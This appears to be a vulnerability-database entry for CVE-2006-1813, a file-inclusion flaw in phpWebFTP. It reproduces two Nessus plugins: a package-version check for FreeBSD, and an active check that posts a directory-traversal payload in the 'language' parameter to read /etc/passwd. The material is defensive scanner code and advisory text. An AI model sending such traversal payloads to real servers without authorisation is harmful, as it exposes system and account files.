Vulnerabilities > CVE-2006-1813 - Directory Traversal vulnerability in PHPWebFTP

047910
CVSS 6.4 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
NONE
network
low complexity
phpwebftp
nessus

Summary

Directory traversal vulnerability in index.php in phpWebFTP 3.2 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the language parameter.

Vulnerable Configurations

Part Description Count
Application
Phpwebftp
1

Nessus

  • NASL familyCGI abuses
    NASL idPHPWEBFTP_LANGUAGE_FILE_INCLUDE.NASL
    descriptionThe remote host is running phpWebFTP, a web-based FTP client written in PHP. The version of phpWebFTP installed on the remote host fails to sanitize user-supplied input to the
    last seen2020-06-01
    modified2020-06-02
    plugin id21238
    published2006-04-17
    reporterThis script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/21238
    titlephpWebFTP index.php language Parameter Local File Inclusion
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(21238);
      script_version("1.23");
    
      script_cve_id("CVE-2006-1813");
      script_bugtraq_id(17557);
    
      script_name(english:"phpWebFTP index.php language Parameter Local File Inclusion");
      script_summary(english:"Tries to read /etc/passwd using phpWebFTP");
    
     script_set_attribute(attribute:"synopsis", value:
    "The remote web server contains a PHP script that is affected by a
    local file include issue." );
     script_set_attribute(attribute:"description", value:
    "The remote host is running phpWebFTP, a web-based FTP client written
    in PHP. 
    
    The version of phpWebFTP installed on the remote host fails to
    sanitize user-supplied input to the 'language' parameter of the
    'index.php' script before using it in a PHP 'include()' function.  An
    unauthenticated attacker may be able to exploit this issue to view
    arbitrary files or to execute arbitrary PHP code on the remote host,
    subject to the privileges of the web server user id. 
    
    Note that successful exploitation of this issue requires that either
    PHP's 'magic_quotes_gpc' setting be disabled or the attacker have the
    ability to edit files on the remote host." );
     script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/431115/30/0/threaded" );
     script_set_attribute(attribute:"solution", value:
    "Unknown at this time." );
     script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N");
     script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
     script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
     script_set_attribute(attribute:"exploit_available", value:"false");
     script_set_attribute(attribute:"plugin_publication_date", value: "2006/04/17");
     script_set_attribute(attribute:"vuln_publication_date", value: "2006/04/16");
     script_cvs_date("Date: 2018/11/15 20:50:18");
    script_set_attribute(attribute:"plugin_type", value:"remote");
    script_set_attribute(attribute:"cpe",value:"cpe:/a:phpwebftp:phpwebftp");
    script_set_attribute(attribute:"exploited_by_nessus", value:"true");
      script_end_attributes();
    
    
      script_category(ACT_ATTACK);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("http_version.nasl");
      script_exclude_keys("Settings/disable_cgi_scanning");
      script_require_ports("Services/www", 80);
      script_require_keys("www/PHP");
      exit(0);
    }
    
    
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("data_protection.inc");
    
    port = get_http_port(default:80, embedded: 0, php: 1);
    
    # Loop through various directories.
    if (thorough_tests) dirs = list_uniq(make_list("/webftp", "/ftp", cgi_dirs()));
    else dirs = make_list(cgi_dirs());
    
    foreach dir (dirs)
    {
      # Grab index.php.
      res = http_get_cache(item:string(dir, "/index.php"), port:port, exit_on_fail: 1);
    
      # If it looks like phpWebFTP...
      if ("phpWebFTP comes with ABSOLUTELY NO WARRANTY" >< res)
      {
        # Try to exploit one of the flaws to read a file.
        file = "../../../../../../../../../../../../etc/passwd%00";
        postdata = string(
          "server=1&",
          "port=21&",
          "goPassive=on&",
          "user=1&",
          "password=1&",
          "language=", file
        );
        r = http_send_recv3(method: "POST", item: dir+"/index.php", port: port,
          content_type: "application/x-www-form-urlencoded",
          exit_on_fail: 1, data: postdata);
        res = r[2];
    
        # There's a problem if there's an entry for root.
        #
        # nb: the application explicitly disables warnings so if the exploit fails
        #     we won't know if it was just because magic_quotes_gpc was enabled.
        if (egrep(pattern:"root:.*:0:[01]:", string:res))
        {
          contents = res - strstr(res, "</TD>");
          if (isnull(contents)) contents = res;
          contents = data_protection::redact_etc_passwd(output:contents);
          report = string(
            "\n",
            "Here are the contents of the file '/etc/passwd' that\n",
            "Nessus was able to read from the remote host :\n",
            "\n",
            contents
          );
    
          security_warning(port:port, extra:report);
          exit(0);
        }
      }
    }
    
  • NASL familyFreeBSD Local Security Checks
    NASL idFREEBSD_PKG_D9DC2697DADF11DA912F00123FFE8333.NASL
    descriptionSecunia reports : phpWebFTP have a vulnerability, which can be exploited by malicious people to disclose sensitive information. Input passed to the
    last seen2020-06-01
    modified2020-06-02
    plugin id21519
    published2006-05-13
    reporterThis script is Copyright (C) 2006-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/21519
    titleFreeBSD : phpwebftp -- 'language' Local File Inclusion (d9dc2697-dadf-11da-912f-00123ffe8333)
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from the FreeBSD VuXML database :
    #
    # Copyright 2003-2018 Jacques Vidrine and contributors
    #
    # Redistribution and use in source (VuXML) and 'compiled' forms (SGML,
    # HTML, PDF, PostScript, RTF and so forth) with or without modification,
    # are permitted provided that the following conditions are met:
    # 1. Redistributions of source code (VuXML) must retain the above
    #    copyright notice, this list of conditions and the following
    #    disclaimer as the first lines of this file unmodified.
    # 2. Redistributions in compiled form (transformed to other DTDs,
    #    published online in any format, converted to PDF, PostScript,
    #    RTF and other formats) must reproduce the above copyright
    #    notice, this list of conditions and the following disclaimer
    #    in the documentation and/or other materials provided with the
    #    distribution.
    # 
    # THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
    # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
    # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
    # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
    # BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
    # OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
    # OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
    # BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
    # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
    # OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
    # EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(21519);
      script_version("1.14");
      script_cvs_date("Date: 2019/08/02 13:32:38");
    
      script_cve_id("CVE-2006-1812", "CVE-2006-1813");
      script_xref(name:"Secunia", value:"19706");
    
      script_name(english:"FreeBSD : phpwebftp -- 'language' Local File Inclusion (d9dc2697-dadf-11da-912f-00123ffe8333)");
      script_summary(english:"Checks for updated package in pkg_info output");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote FreeBSD host is missing a security-related update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "Secunia reports :
    
    phpWebFTP have a vulnerability, which can be exploited by malicious
    people to disclose sensitive information.
    
    Input passed to the 'language' parameter in index.php isn't properly
    verified, before it is used to include files. This can be exploited to
    include arbitrary files from local resources.
    
    Successful exploitation requires that 'magic_quotes_gpc' is disabled."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://sourceforge.net/forum/forum.php?forum_id=566199"
      );
      # https://vuxml.freebsd.org/freebsd/d9dc2697-dadf-11da-912f-00123ffe8333.html
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.nessus.org/u?a35ec3b9"
      );
      script_set_attribute(attribute:"solution", value:"Update the affected package.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:phpwebftp");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2006/04/18");
      script_set_attribute(attribute:"patch_publication_date", value:"2006/05/03");
      script_set_attribute(attribute:"plugin_publication_date", value:"2006/05/13");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2006-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"FreeBSD Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("freebsd_package.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD");
    if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    flag = 0;
    
    if (pkg_test(save_report:TRUE, pkg:"phpwebftp<3.3")) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_warning(port:0, extra:pkg_report_get());
      else security_warning(0);
      exit(0);
    }
    else audit(AUDIT_HOST_NOT, "affected");